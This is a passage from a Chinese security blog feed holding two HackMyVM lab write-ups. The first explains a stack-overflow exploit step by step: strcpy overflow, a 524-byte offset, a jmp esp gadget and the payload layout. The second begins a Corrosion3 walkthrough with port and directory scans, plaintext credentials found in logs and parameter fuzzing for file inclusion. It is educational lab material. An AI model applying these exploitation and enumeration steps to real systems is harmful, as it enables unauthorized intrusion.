&lt;p&gt;strcpy 写爆栈 → 覆盖返回地址 → ret 把你写的值放进 EIP → CPU 跳到你指定的位置执行&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;那 &lt;code&gt;jmp esp&lt;/code&gt; 是干嘛的？&lt;/h3&gt;
&lt;p&gt;你之前问：&lt;/p&gt;
&lt;p&gt;ropper --search &amp;#39;jmp esp&amp;#39; 是为什么？&lt;/p&gt;
&lt;p&gt;现在答案你应该能接受了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你控制了 EIP&lt;/li&gt;
&lt;li&gt;你不知道 shellcode 在哪&lt;/li&gt;
&lt;li&gt;但 &lt;strong&gt;ESP 一定指向你的数据&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;jmp esp&lt;/code&gt; 的作用就是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;EIP = ESP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“跳到我现在这堆栈数据里执行”&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;为什么ESP一定指向你的数据&lt;/h2&gt;
&lt;p&gt; 因为你的输入是通过函数参数被拷贝到栈上的，而栈顶（ESP）正好就在这片区域附近  &lt;/p&gt;
&lt;h3&gt;第一步：你的数据是“怎么进程序的”？&lt;/h3&gt;
&lt;p&gt;你现在的程序是 &lt;strong&gt;网络服务&lt;/strong&gt;，流程本质是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;socket recv → 把你发的数据放到一个 buffer → 传给 get_reply
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是 &lt;code&gt;get_reply(char *Source)&lt;/code&gt; 里的 &lt;code&gt;Source&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;指向的内容&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;就是你从网络发过去的字节&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;✅ 这是第一件事：&lt;br&gt;&lt;strong&gt;你的输入已经在内存里了&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;第二步：&lt;code&gt;Dest&lt;/code&gt; 在哪里？（这是关键）&lt;/h3&gt;
&lt;p&gt;反编译结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;char Dest; // [esp+10h] [ebp-208h]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这句话信息量巨大，我们翻译成“人话”。&lt;/p&gt;
&lt;h4&gt;&lt;code&gt;[ebp-208h]&lt;/code&gt; 是什么意思？&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;EBP&lt;/code&gt;：当前函数的“参考点”&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Dest&lt;/code&gt;：在 EBP &lt;strong&gt;下面&lt;/strong&gt; 0x208 字节的位置&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;EBP
│
├── 返回地址
├── 旧 EBP
├── ...
├── Dest[???]   ← 你的数据从这里开始写
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 &lt;strong&gt;Dest 在栈上&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;第三步：&lt;code&gt;strcpy&lt;/code&gt; 干了什么“坏事”？&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;strcpy(&amp;amp;Dest, Source);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;strcpy 的规则只有一条：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我不管你 Dest 多大，我一直复制，直到 Source 遇到 \0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所以当你输入很长时，内存会变成这样：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[ Dest buffer        ]  ← aaaaaaaa
[ 覆盖的其他局部变量 ]  ← aaaaaaaa
[ 覆盖的旧 EBP       ]  ← aaaaaaaa
[ 覆盖的返回地址 RET ]  ← 0x311712f3
[ 后续数据           ]  ← shellcode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ 注意：&lt;strong&gt;shellcode 就在返回地址后面&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;第四步：函数“返回”的瞬间发生了什么？&lt;/h3&gt;
&lt;p&gt;函数结束时，会执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ret&lt;/code&gt; 做的事情只有一件：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;从 ESP 指向的位置取 4 字节 → 放进 EIP&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;那这时 ESP 指向哪？&lt;/h4&gt;
&lt;p&gt;这是重点👇&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;ret&lt;/code&gt; 之前，栈长这样：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ESP → [ 返回地址（被你覆盖） ]
       [ shellcode 字节 1 ]
       [ shellcode 字节 2 ]
       [ shellcode 字节 3 ]
       ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当 &lt;code&gt;ret&lt;/code&gt; 执行：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CPU 从 &lt;code&gt;[ESP]&lt;/code&gt; 取地址 → EIP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ESP 自动 +4&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;于是变成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ESP → [ shellcode 的起始位置 ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;💥 &lt;strong&gt;这就是关键结论&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;第五步：所以为什么 &lt;code&gt;ESP 一定指向你的数据&lt;/code&gt;？&lt;/h3&gt;
&lt;p&gt;现在我们可以严谨地说了：&lt;/p&gt;
&lt;h4&gt;因为：&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;你的输入被 &lt;code&gt;strcpy&lt;/code&gt; 写进了栈&lt;/li&gt;
&lt;li&gt;返回地址后面紧跟着的就是你输入的内容&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ret&lt;/code&gt; 会让 ESP 指向 &lt;strong&gt;返回地址后 4 字节&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;那里正是你的 shellcode&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;✅ 所以：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在 ret 之后，ESP 指向的，就是你刚刚写进去的数据&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;第六步：这就是为什么 &lt;code&gt;jmp esp&lt;/code&gt; 是“完美跳板”&lt;/h4&gt;
&lt;p&gt;你现在应该能真正理解这句话了：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;jmp esp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;人话翻译：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“不管你 shellcode 在哪，我就跳到 ESP 指向的地方”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;而 ESP 指向哪里？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;指向你写在栈上的 payload&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;用一句完整 链总结（非常重要）&lt;/h3&gt;
&lt;p&gt;strcpy 溢出 → 覆盖返回地址 → ret 后 ESP 指向 shellcode → 返回地址设为 jmp esp → EIP 跳到 ESP → 执行你的代码&lt;/p&gt;
&lt;p&gt;这就是你整个 EXP 的&lt;strong&gt;数学证明级解释&lt;/strong&gt;。&lt;/p&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;✔ &lt;strong&gt;524 字节是为了覆盖到返回地址&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;✔ **返回地址被我们控制成 **&lt;code&gt;**jmp esp**&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;✔ &lt;strong&gt;最终会执行 shellcode&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;① 覆盖栈帧（为什么是 524）&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;get_reply&lt;/code&gt; 中：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;char Dest; // [ebp-0x208]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;栈结构是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[ Dest buffer  ] 0x208 = 520 bytes
[ saved EBP    ] 4 bytes
[ RET address  ] 4 bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 到返回地址的偏移：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;520 + 4 = 524
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;junk = b&amp;quot;A&amp;quot; * 524
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这一句的本质是：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;把返回地址“踩掉”&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;② ret 做的事情（这一点你要永远记住）&lt;/h2&gt;
&lt;p&gt;函数结束时执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;leave
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ret 的真实行为：&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;EIP = [ESP]
ESP = ESP + 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以当你把返回地址写成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ret_addr = p32(0x311712f3)  # jmp esp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行 &lt;code&gt;ret&lt;/code&gt; 后：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;EIP = jmp esp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ESP&lt;/code&gt;&lt;strong&gt;自动指向返回地址后面的内容&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;③ 为什么 shellcode 一定要放在 ret 后面？&lt;/h2&gt;
&lt;p&gt;你的 payload 是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[ A * 524 ][ jmp esp ][ shellcode ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行 &lt;code&gt;ret&lt;/code&gt; 后：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ESP → shellcode
EIP → jmp esp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 CPU 执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;jmp esp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;含义是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;跳到 ESP 当前指向的位置&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;而 ESP 正好指向 shellcode&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;④ 所以完整链路是（这是终极版本）&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;strcpy 溢出   ↓   覆盖返回地址   ↓   ret → EIP = jmp esp   ↓   ESP 自动指向 shellcode   ↓   jmp esp → 跳到 shellcode   ↓   shellcode 执行&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;因为在 32 位程序里，一个地址 = 4 个字节，而 &lt;strong&gt;&lt;code&gt;**ret**&lt;/code&gt;&lt;/strong&gt; 就是从栈里“弹出一个地址”。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;**弹出一个地址 = 4 字节&lt;br&gt;**&lt;strong&gt;所以：ESP = ESP + 4&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h1&gt;为什么“一个地址是 4 字节”？&lt;/h1&gt;
&lt;p&gt;你现在分析的是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PE32 executable
Intel 80386
i386
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是 &lt;strong&gt;32 位程序&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;在 32 位 CPU 中：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;寄存器宽度：32 bit&lt;/li&gt;
&lt;li&gt;32 bit = &lt;strong&gt;4 byte&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;东西&lt;/th&gt;
&lt;th&gt;大小&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;int&lt;/td&gt;
&lt;td&gt;4 字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;指针&lt;/td&gt;
&lt;td&gt;4 字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;返回地址&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;4 字节&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EIP&lt;/td&gt;
&lt;td&gt;4 字节&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;👉 &lt;strong&gt;返回地址本身就是一个“指针”&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ret 本质上是在“弹栈”&lt;/h2&gt;
&lt;p&gt;你要把 &lt;code&gt;ret&lt;/code&gt; 当成一句 &lt;strong&gt;伪代码&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;EIP = *(uint32_t *)ESP;
ESP += 4;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;翻译成人话就是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;从 ESP 指向的地方，取 &lt;strong&gt;4 字节&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;当成下一条要执行的地址（给 EIP）&lt;/li&gt;
&lt;li&gt;ESP 往上挪 &lt;strong&gt;4 字节&lt;/strong&gt;（栈顶弹出）&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;用真实栈内存给你画一遍（关键）&lt;/h2&gt;
&lt;h3&gt;假设当前 ESP = &lt;code&gt;0xffffd200&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;内存里是这样：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;地址        内容
--------------------------------
0xffffd200  f3 12 17 31   ← 返回地址（jmp esp）
0xffffd204  31 c0 50 68   ← shellcode 第 1 条
0xffffd208  2f 2f 73 68
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;执行 &lt;code&gt;ret&lt;/code&gt; 时：&lt;/h3&gt;
&lt;h4&gt;第一步：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;EIP = *(0xffffd200)
EIP = 0x311712f3
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;第二步：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ESP = ESP + 4
ESP = 0xffffd204
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;📌 注意：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ESP 现在 = shellcode 的起始地址
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;这就是为什么 shellcode 会“紧挨着 ESP”&lt;/h2&gt;
&lt;p&gt;不是因为 shellcode 特殊，而是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ret &lt;strong&gt;只弹出返回地址&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;返回地址占 &lt;strong&gt;4 字节&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ESP 必须跳过它&lt;/li&gt;
&lt;li&gt;所以后面的数据自然就成了 ESP 指向的内容&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 &lt;strong&gt;这是 CPU 的铁律，不是技巧&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;类比一个“你肯定懂”的东西（很重要）&lt;/h2&gt;
&lt;p&gt;把栈想成一摞盘子：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;最上面
┌──────────────┐
│ 返回地址     │  ← 1 个盘子（4 字节）
├──────────────┤
│ shellcode    │
│ shellcode    │
└──────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ret = 拿走最上面一个盘子&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;拿走返回地址&lt;/li&gt;
&lt;li&gt;手自然就放到下面那一层&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 &lt;strong&gt;ESP 就是“你的手”&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;你现在应该能自己回答这个问题了&lt;/h2&gt;
&lt;p&gt;为什么 ESP = ESP + 4？&lt;/p&gt;
&lt;p&gt;因为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;栈里存的是 &lt;strong&gt;32 位返回地址&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;32 位 = 4 字节&lt;/li&gt;
&lt;li&gt;ret 要把这个地址“弹掉”&lt;/li&gt;
&lt;li&gt;所以 ESP 必须前进 4 字节&lt;/li&gt;
&lt;/ul&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/deba/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/deba/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Corrosion3</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/corrosion3/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/corrosion3/</guid><description>Enumeration is key.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Corrosion3-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;ip定位&lt;/h2&gt;
&lt;p&gt;mac:08002768AFB1&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l -I eth0 | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
172.16.53.30    08:00:27:63:fc:c5       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 172.16.53.30 
Nmap scan report for 172.16.53.30
Host is up (0.00039s latency).
Not shown: 65535 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.12 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;居然只有一个80端口&lt;/p&gt;
&lt;h1&gt;80端口&lt;/h1&gt;
&lt;h2&gt;根目录扫描&lt;/h2&gt;
&lt;h3&gt;dirsearch&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://172.16.53.30/      
  _|. _ _  _  _  _ _|_    v0.4.3                                               
 (_||| _) (/_(_|| (_| )                                                        
                                                                               
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlis

Output File: /home/kali/reports/http_172.16.53.30/__25-12-27_01-43-24.txt

Target: http://172.16.53.30/

[01:43:24] Starting:                                                           
[01:43:49] 301 -  314B  - /website  -&amp;gt;  http://172.16.53.30/website/        
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;gobuster&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://172.16.53.30 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js -t 64  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.16.53.30
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,html,zip,db,bak,js,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 10918]
/.php                 (Status: 403) [Size: 277]
/website              (Status: 301) [Size: 314] [--&amp;gt; http://172.16.53.30/website/]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
Progress: 1764472 / 1764480 (100.00%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;/website目录扫描&lt;/h2&gt;
&lt;h3&gt;dirsearch&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://172.16.53.30/website 
  _|. _ _  _  _  _ _|_    v0.4.3                                               
 (_||| _) (/_(_|| (_| )                                                        
                                                                               
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/http_172.16.53.30/_website_25-12-27_01-49-29.txt

Target: http://172.16.53.30/

[01:49:29] Starting: website/                                                  
[01:49:31] 403 -  277B  - /website/.ht_wsr.txt                              
[01:49:31] 403 -  277B  - /website/.htaccess.bak1                           
[01:49:31] 403 -  277B  - /website/.htaccess.sample                         
[01:49:31] 403 -  277B  - /website/.htaccess.orig                           
[01:49:31] 403 -  277B  - /website/.htaccess.save
[01:49:31] 403 -  277B  - /website/.htaccess_extra                          
[01:49:31] 403 -  277B  - /website/.htaccess_orig
[01:49:31] 403 -  277B  - /website/.htaccessBAK
[01:49:31] 403 -  277B  - /website/.htaccess_sc
[01:49:31] 403 -  277B  - /website/.htaccessOLD2                            
[01:49:31] 403 -  277B  - /website/.htaccessOLD
[01:49:31] 403 -  277B  - /website/.htm                                     
[01:49:31] 403 -  277B  - /website/.html                                    
[01:49:31] 403 -  277B  - /website/.htpasswd_test                           
[01:49:31] 403 -  277B  - /website/.htpasswds
[01:49:31] 403 -  277B  - /website/.httr-oauth
[01:49:32] 403 -  277B  - /website/.php                                     
[01:49:41] 200 -  493B  - /website/assets/                                  
[01:49:41] 301 -  321B  - /website/assets  -&amp;gt;  http://172.16.53.30/website/assets/
[01:49:53] 301 -  319B  - /website/logs  -&amp;gt;  http://172.16.53.30/website/logs/
[01:49:53] 200 -  485B  - /website/logs/                                    
                                                                             
Task Completed   
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;gobuster&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://172.16.53.30/website -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.16.53.30/website
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html,zip,db,bak,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 52549]
/assets               (Status: 301) [Size: 321] [--&amp;gt; http://172.16.53.30/website/assets/]                                                                     
/logs                 (Status: 301) [Size: 319] [--&amp;gt; http://172.16.53.30/website/logs/]                                                                       
/License.txt          (Status: 200) [Size: 1989]
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/sales_detail.php     (Status: 200) [Size: 0]
Progress: 1764472 / 1764480 (100.00%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;/website/assets/&lt;/h2&gt;
&lt;p&gt;[DIR]	css/	2016-04-06 11:23 	- 	 &lt;/p&gt;
&lt;p&gt;[DIR]	fonts/	2016-04-06 11:19 	- 	 &lt;/p&gt;
&lt;p&gt;[DIR]	images/	2016-04-06 11:49 	- 	 &lt;/p&gt;
&lt;p&gt;[DIR]	js/	2016-04-06 11:13 	- 	 &lt;/p&gt;
&lt;h2&gt;/website/logs/&lt;/h2&gt;
&lt;p&gt; [PARENTDIR]	Parent Directory	 	- 	 &lt;/p&gt;
&lt;p&gt;[ ]	login_request.log	2022-01-30 21:10 	446 	 &lt;/p&gt;
&lt;p&gt;[ ]	login_request1.log	2022-01-30 21:11 	422 	 &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;POST /login/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/login/
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
Upgrade-Insecure-Requests: 1

user=randy&amp;amp;pass=RaNDY$SuPer!Secr3etPa$$word
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;POST /login/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/login/
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
Upgrade-Insecure-Requests: 1

user=test&amp;amp;pass=test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看后看到两组明文用户名和密码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;test/test
randy/RaNDY$SuPer!Secr3etPa$$word
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;IP更换&lt;/h1&gt;
&lt;p&gt;换了个ip&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.107   08:00:27:b2:75:17       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Fuzz&lt;/h1&gt;
&lt;h2&gt;Post&lt;/h2&gt;
&lt;p&gt;尝试在/website/sales_detail.php 页面进行Post传参&lt;/p&gt;
&lt;p&gt;无响应&lt;/p&gt;
&lt;h2&gt;fuff&lt;/h2&gt;
&lt;p&gt;利用fuff工具进行页面fuzz&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.0.107/website/sales_detail.php?FUZZ=../index.html -fs 0  -v
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.0.107/website/sales_detail.php?FUZZ=../index.html -fs 0 -v 


        /&amp;#39;___\  /&amp;#39;___\           /&amp;#39;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
